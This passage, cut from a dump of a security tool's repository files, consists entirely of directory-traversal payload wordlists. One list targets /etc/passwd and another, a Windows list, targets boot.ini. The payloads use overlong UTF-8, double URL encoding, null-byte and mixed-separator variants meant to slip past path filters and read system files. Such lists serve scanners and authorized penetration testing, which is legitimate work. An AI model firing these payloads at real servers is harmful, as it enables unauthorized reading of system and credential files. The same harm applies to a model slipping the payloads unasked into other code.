asswd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f%c0%2e%c0%2e%c0%2f/etc/passwd\r\n..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd\r\n..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c..%c0%5c/etc/passwd\r\n%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\%c0%2e%c0%2e\\/etc/passwd\r\n%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c%c0%2e%c0%2e%c0%5c/etc/passwd\r\n///%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n///%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f/etc/passwd\r\n\\\\\\%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n\\\\\\%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c/etc/passwd\r\n..///etc/passwd\r\n..//..///etc/passwd\r\n..//..//..///etc/passwd\r\n..//..//..//..///etc/passwd\r\n..//..//..//..//..///etc/passwd\r\n..//..//..//..//..//..///etc/passwd\r\n..//..//..//..//..//..//..///etc/passwd\r\n..//..//..//..//..//..//..//..///etc/passwd\r\n..////etc/passwd\r\n..///..////etc/passwd\r\n..///..///..////etc/passwd\r\n..///..///..///..////etc/passwd\r\n..///..///..///..///..////etc/passwd\r\n..///..///..///..///..///..////etc/passwd\r\n..///..///..///..///..///..///..////etc/passwd\r\n..///..///..///..///..///..///..///..////etc/passwd\r\n..\\\\/etc/passwd\r\n..\\\\..\\\\/etc/passwd\r\n..\\\\..\\\\..\\\\/etc/passwd\r\n..\\\\..\\\\..\\\\..\\\\/etc/passwd\r\n..\\\\..\\\\..\\\\..\\\\..\\\\/etc/passwd\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\/etc/passwd\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\/etc/passwd\r\n..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\/etc/passwd\r\n..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\/etc/passwd\r\n..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\..\\\\\\/etc/passwd\r\n./\\/.//etc/passwd\r\n./\\/././\\/.//etc/passwd\r\n./\\/././\\/././\\/.//etc/passwd\r\n./\\/././\\/././\\/././\\/.//etc/passwd\r\n./\\/././\\/././\\/././\\/././\\/.//etc/passwd\r\n./\\/././\\/././\\/././\\/././\\/././\\/.//etc/passwd\r\n./\\/././\\/././\\/././\\/././\\/././\\/././\\/.//etc/passwd\r\n./\\/././\\/././\\/././\\/././\\/././\\/././\\/././\\/.//etc/passwd\r\n.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\/etc/passwd\r\n.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\.\\/\\.\\/etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../..//etc/passwd\r\n././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././../../../../../../../..//etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\.\\..\\..\\..\\..\\..\\..\\..\\..\\/etc/passwd\r\n./..//etc/passwd\r\n./.././..//etc/passwd\r\n./.././.././..//etc/passwd\r\n./.././.././.././..//etc/passwd\r\n./.././.././.././.././..//etc/passwd\r\n./.././.././.././.././.././..//etc/passwd\r\n./.././.././.././.././.././.././..//etc/passwd\r\n./.././.././.././.././.././.././.././..//etc/passwd\r\n.\\..\\/etc/passwd\r\n.\\..\\.\\..\\/etc/passwd\r\n.\\..\\.\\..\\.\\..\\/etc/passwd\r\n.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd\r\n.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\.\\..\\/etc/passwd\r\n.//..///etc/passwd\r\n.//..//.//..///etc/passwd\r\n.//..//.//..//.//..///etc/passwd\r\n.//..//.//..//.//..//.//..///etc/passwd\r\n.//..//.//..//.//..//.//..//.//..///etc/passwd\r\n.//..//.//..//.//..//.//..//.//..//.//..///etc/passwd\r\n.//..//.//..//.//..//.//..//.//..//.//..//.//..///etc/passwd\r\n.//..//.//..//.//..//.//..//.//..//.//..//.//..//.//..///etc/passwd\r\n.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\.\\\\..\\\\/etc/passwd\r\n%00../etc/passwd\r\n%00../%00../etc/passwd\r\n%00../%00../%00../etc/passwd\r\n%00../%00../%00../%00../etc/passwd\r\n%00../%00../%00../%00../%00../etc/passwd\r\n%00../%00../%00../%00../%00../%00../etc/passwd\r\n%00../%00../%00../%00../%00../%00../%00../etc/passwd\r\n%00../%00../%00../%00../%00../%00../%00../%00../etc/passwd\r\n.%00./etc/passwd\r\n.%00./.%00./etc/passwd\r\n.%00./.%00./.%00./etc/passwd\r\n.%00./.%00./.%00./.%00./etc/passwd\r\n.%00./.%00./.%00./.%00./.%00./etc/passwd\r\n.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd\r\n.%00./.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd\r\n.%00./.%00./.%00./.%00./.%00./.%00./.%00./.%00./etc/passwd\r\n..%00/etc/passwd\r\n..%00/..%00/etc/passwd\r\n..%00/..%00/..%00/etc/passwd\r\n..%00/..%00/..%00/..%00/etc/passwd\r\n..%00/..%00/..%00/..%00/..%00/etc/passwd\r\n..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd\r\n..%00/..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd\r\n..%00/..%00/..%00/..%00/..%00/..%00/..%00/..%00/etc/passwd\r\n"
  },
  {
    "path": "wordlist/vulns/dirTraversal-win.txt",
    "content": "../boot.ini\r\n../../boot.ini\r\n../../../boot.ini\r\n../../../../boot.ini\r\n../../../../../boot.ini\r\n../../../../../../boot.ini\r\n../../../../../../../boot.ini\r\n../../../../../../../../boot.ini\r\n..%2fboot.ini\r\n..%2f..%2fboot.ini\r\n..%2f..%2f..%2fboot.ini\r\n..%2f..%2f..%2f..%2fboot.ini\r\n..%2f..%2f..%2f..%2f..%2fboot.ini\r\n..%2f..%2f..%2f..%2f..%2f..%2fboot.ini\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini\r\n..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini\r\n%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\r\n%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini\r\n%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2fboot.ini\r\n..%252fboot.ini\r\n..%252f..%252fboot.ini\r\n..%252f..%252f..%252fboot.ini\r\n..%252f..%252f..%252f..%252fboot.ini\r\n..%252f..%252f..%252f..%252f..%252fboot.ini\r\n..%252f..%252f..%252f..%252f..%252f..%252fboot.ini\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini\r\n..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fboot.ini\r\n%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini\r\n%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/%252e%252e/boot.ini\r\n%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini\r\n%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fboot.ini\r\n..\\boot.ini\r\n..\\..\\boot.ini\r\n..\\..\\..\\boot.ini\r\n..\\..\\..\\..\\boot.ini\r\n..\\..\\..\\..\\..\\boot.ini\r\n..\\..\\..\\..\\..\\..\\boot.ini\r\n..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n..\\..\\..\\..\\..\\..\\..\\..\\boot.ini\r\n..%255cboot.ini\r\n..%255c..%255cboot.ini\r\n..%255c..%255c..%255cboot.ini\r\n..%255c..%255c..%255c..%255cboot.ini\r\n..%255c..%255c..%255c..%255c..%255cboot.ini\r\n..%255c..%255c..%255c..%255c..%255c..%255cboot.ini\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini\r\n..%255c..%255c..%255c..%255c..%255c..%255c..%255c..%255cboot.ini\r\n%252e%252e\\boot.ini\r\n%252e%252e\\%252e%252e\\boot.ini..%5cboot.ini\r\n..%5c..%5cboot.ini\r\n..%5c..%5c..%5cboot.ini\r\n..%5c..%5c..%5c..%5cboot.ini\r\n..%5c..%5c..%5c..%5c..%5cboot.ini\r\n..%5c..%5c..%5c..%5c..%5c..%5cboot.ini\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini\r\n..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5cboot.ini\r\n%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\%2e%2e\\boot.ini\r\n%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cboot.ini\r\n%252e%252e\\%252e%252e\\%252e%252e\\boot.ini\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini\r\n%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\%252e%252e\\boot.ini\r\n%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e%252e%255c%252e%252e%255c%252e%252e%255cboot.ini\r\n%252e%252e%255c%252e